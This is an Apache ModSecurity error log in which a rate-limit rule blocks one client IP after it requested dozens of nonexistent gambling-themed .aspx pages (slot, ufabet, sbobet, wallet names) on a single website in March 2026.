[Sat Mar 28 03:26:23.332523 2026] [:error] [pid 11325:tid 11755] [client 54.37.252.130:48856] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acbZ349aMci1IHcmG6IW1AAAAM4"]
[Sat Mar 28 03:26:25.858351 2026] [:error] [pid 51701:tid 51724] [client 54.37.252.130:48864] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acbZ4RcCy4vzov4lZDYttQAAAZU"]
[Sat Mar 28 03:26:28.220872 2026] [:error] [pid 11324:tid 11725] [client 54.37.252.130:37286] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acbZ5DIhTRer7nZpUKj6OwAAAIs"]
[Sat Mar 28 03:26:30.599969 2026] [:error] [pid 51655:tid 51664] [client 54.37.252.130:37294] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acbZ5n4PB5Q8y9C2Z9XbnAAAAUc"]
[Sat Mar 28 03:26:33.109297 2026] [:error] [pid 51655:tid 51680] [client 54.37.252.130:37306] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acbZ6X4PB5Q8y9C2Z9XbpgAAAVc"]
[Sat Mar 28 03:26:35.624353 2026] [:error] [pid 31054:tid 31080] [client 54.37.252.130:37314] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acbZ65wv8eb6fRZGI77wSQAAAFc"]
[Sat Mar 28 03:26:38.137728 2026] [:error] [pid 11325:tid 11747] [client 54.37.252.130:38038] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acbZ7o9aMci1IHcmG6IW7gAAAMY"]
[Sat Mar 28 03:26:59.053574 2026] [:error] [pid 51655:tid 51673] [client 54.37.252.130:38044] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acbaA34PB5Q8y9C2Z9Xb0gAAAVA"]
[Sat Mar 28 03:27:01.392447 2026] [:error] [pid 11768:tid 11790] [client 54.37.252.130:50354] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acbaBcLK0swIwlw7rFbnXAAAARI"]
[Sat Mar 28 03:27:03.895746 2026] [:error] [pid 51701:tid 51723] [client 54.37.252.130:50360] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acbaBxcCy4vzov4lZDYt5gAAAZQ"]
[Sat Mar 28 03:27:06.281557 2026] [:error] [pid 31054:tid 31073] [client 54.37.252.130:50370] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acbaCpwv8eb6fRZGI77wfQAAAFA"]
[Sat Mar 28 03:27:08.800786 2026] [:error] [pid 11325:tid 11742] [client 54.37.252.130:46988] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acbaDI9aMci1IHcmG6IX7QAAAME"]
[Sat Mar 28 03:27:11.327738 2026] [:error] [pid 11768:tid 11772] [client 54.37.252.130:47002] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acbaD8LK0swIwlw7rFbnYgAAAQA"]
[Sat Mar 28 03:27:13.835924 2026] [:error] [pid 51655:tid 51668] [client 54.37.252.130:47006] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acbaEX4PB5Q8y9C2Z9Xb5QAAAUs"]
[Sat Mar 28 03:27:16.196442 2026] [:error] [pid 11324:tid 11714] [client 54.37.252.130:47016] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acbaFDIhTRer7nZpUKj6XQAAAIA"]
[Sat Mar 28 03:27:18.698798 2026] [:error] [pid 51655:tid 51665] [client 54.37.252.130:50202] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acbaFn4PB5Q8y9C2Z9Xb8AAAAUg"]
[Sat Mar 28 03:27:21.202012 2026] [:error] [pid 51701:tid 51721] [client 54.37.252.130:50206] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acbaGRcCy4vzov4lZDYt-wAAAZI"]
[Sat Mar 28 03:27:23.693116 2026] [:error] [pid 51701:tid 51720] [client 54.37.252.130:50216] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acbaGxcCy4vzov4lZDYt_gAAAZE"]
[Sat Mar 28 03:27:26.035121 2026] [:error] [pid 11768:tid 11785] [client 54.37.252.130:50226] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acbaHsLK0swIwlw7rFbncQAAAQ0"]
[Sat Mar 28 03:27:28.537407 2026] [:error] [pid 31054:tid 31078] [client 54.37.252.130:51942] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acbaIJwv8eb6fRZGI77wjwAAAFU"]
[Sat Mar 28 03:27:31.042353 2026] [:error] [pid 11324:tid 11716] [client 54.37.252.130:51956] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acbaIzIhTRer7nZpUKj6ZQAAAII"]
[Sat Mar 28 03:27:33.553078 2026] [:error] [pid 11325:tid 11753] [client 54.37.252.130:51958] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acbaJY9aMci1IHcmG6IYGQAAAMw"]
[Sat Mar 28 03:27:36.039144 2026] [:error] [pid 11323:tid 11701] [client 54.37.252.130:51964] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acbaKBruG7-TT-rIgF8PswAAABU"]
[Sat Mar 28 03:27:38.542013 2026] [:error] [pid 11325:tid 11758] [client 54.37.252.130:38120] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acbaKo9aMci1IHcmG6IYJwAAANE"]
[Sat Mar 28 03:27:41.038153 2026] [:error] [pid 31054:tid 31062] [client 54.37.252.130:38124] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acbaLZwv8eb6fRZGI77wnwAAAEU"]
[Sat Mar 28 03:27:43.521971 2026] [:error] [pid 51655:tid 51680] [client 54.37.252.130:38128] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acbaL34PB5Q8y9C2Z9Xb-gAAAVc"]
[Sat Mar 28 03:27:45.867778 2026] [:error] [pid 11323:tid 11687] [client 54.37.252.130:38144] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acbaMRruG7-TT-rIgF8PuQAAAAc"]
[Sat Mar 28 03:27:48.348897 2026] [:error] [pid 11325:tid 11763] [client 54.37.252.130:45864] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acbaNI9aMci1IHcmG6IYOwAAANY"]
[Sat Mar 28 03:27:50.843775 2026] [:error] [pid 11325:tid 11756] [client 54.37.252.130:45878] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acbaNo9aMci1IHcmG6IYPgAAAM8"]
[Sat Mar 28 03:27:53.347589 2026] [:error] [pid 11324:tid 11729] [client 54.37.252.130:45890] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acbaOTIhTRer7nZpUKj6dQAAAI8"]
[Sat Mar 28 03:27:55.857611 2026] [:error] [pid 51701:tid 51721] [client 54.37.252.130:45902] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "acbaOxcCy4vzov4lZDYuNwAAAZI"]
[Sat Mar 28 03:28:17.085084 2026] [:error] [pid 51701:tid 51721] [client 54.37.252.130:59874] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acbaURcCy4vzov4lZDYuhwAAAZI"]
[Sat Mar 28 03:28:19.390767 2026] [:error] [pid 11325:tid 11748] [client 54.37.252.130:49692] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acbaU49aMci1IHcmG6IYrwAAAMc"]
[Sat Mar 28 03:28:21.872189 2026] [:error] [pid 51701:tid 51708] [client 54.37.252.130:49708] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acbaVRcCy4vzov4lZDYulQAAAYU"]
[Sat Mar 28 03:28:24.370995 2026] [:error] [pid 31054:tid 31060] [client 54.37.252.130:49716] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acbaWJwv8eb6fRZGI77wwgAAAEM"]
[Sat Mar 28 03:28:26.711717 2026] [:error] [pid 31054:tid 31075] [client 54.37.252.130:49722] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acbaWpwv8eb6fRZGI77wxAAAAFI"]
[Sat Mar 28 03:28:29.178070 2026] [:error] [pid 11323:tid 11701] [client 54.37.252.130:33508] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acbaXRruG7-TT-rIgF8P3gAAABU"]
[Sat Mar 28 03:28:31.668718 2026] [:error] [pid 11323:tid 11703] [client 54.37.252.130:33514] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acbaXxruG7-TT-rIgF8P4AAAABc"]
[Sat Mar 28 03:28:34.178421 2026] [:error] [pid 51655:tid 51679] [client 54.37.252.130:33530] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acbaYn4PB5Q8y9C2Z9XcSgAAAVY"]
[Sat Mar 28 03:28:36.511392 2026] [:error] [pid 51701:tid 51707] [client 54.37.252.130:33534] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acbaZBcCy4vzov4lZDYupQAAAYQ"]
[Sat Mar 28 03:28:38.984740 2026] [:error] [pid 11325:tid 11751] [client 54.37.252.130:41720] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acbaZo9aMci1IHcmG6IYvQAAAMo"]
[Sat Mar 28 03:28:41.309546 2026] [:error] [pid 51701:tid 51717] [client 54.37.252.130:41730] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acbaaRcCy4vzov4lZDYuugAAAY4"]
[Sat Mar 28 03:28:43.787514 2026] [:error] [pid 11325:tid 11742] [client 54.37.252.130:41740] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acbaa49aMci1IHcmG6IY0AAAAME"]
[Sat Mar 28 03:28:46.286955 2026] [:error] [pid 51701:tid 51718] [client 54.37.252.130:41748] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acbabhcCy4vzov4lZDYuyAAAAY8"]
[Sat Mar 28 03:28:48.616699 2026] [:error] [pid 31054:tid 31081] [client 54.37.252.130:45810] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acbacJwv8eb6fRZGI77w3AAAAFg"]
[Sat Mar 28 03:28:51.103293 2026] [:error] [pid 31054:tid 31068] [client 54.37.252.130:45820] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acbac5wv8eb6fRZGI77w3gAAAEs"]
[Sat Mar 28 03:28:53.595830 2026] [:error] [pid 11325:tid 11761] [client 54.37.252.130:45830] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acbadY9aMci1IHcmG6IY4gAAANQ"]
[Sat Mar 28 03:28:55.909846 2026] [:error] [pid 11325:tid 11757] [client 54.37.252.130:45840] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acbad49aMci1IHcmG6IY7AAAANA"]
[Sat Mar 28 03:28:58.408904 2026] [:error] [pid 31054:tid 31057] [client 54.37.252.130:43404] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acbaepwv8eb6fRZGI77w5gAAAEA"]
[Sat Mar 28 03:29:00.876792 2026] [:error] [pid 11325:tid 11746] [client 54.37.252.130:43420] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acbafI9aMci1IHcmG6IY9AAAAMU"]
[Sat Mar 28 03:29:03.220083 2026] [:error] [pid 51655:tid 51671] [client 54.37.252.130:43434] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acbaf34PB5Q8y9C2Z9XcawAAAU4"]
[Sat Mar 28 03:29:05.682185 2026] [:error] [pid 11325:tid 11751] [client 54.37.252.130:43442] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acbagY9aMci1IHcmG6IZAwAAAMo"]
[Sat Mar 28 03:29:08.031860 2026] [:error] [pid 51655:tid 51675] [client 54.37.252.130:58092] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acbahH4PB5Q8y9C2Z9XccgAAAVI"]
[Sat Mar 28 03:29:10.494210 2026] [:error] [pid 11325:tid 11752] [client 54.37.252.130:58108] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acbaho9aMci1IHcmG6IZCgAAAMs"]
[Sat Mar 28 03:29:12.836156 2026] [:error] [pid 11768:tid 11781] [client 54.37.252.130:58118] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acbaiMLK0swIwlw7rFbntAAAAQk"]
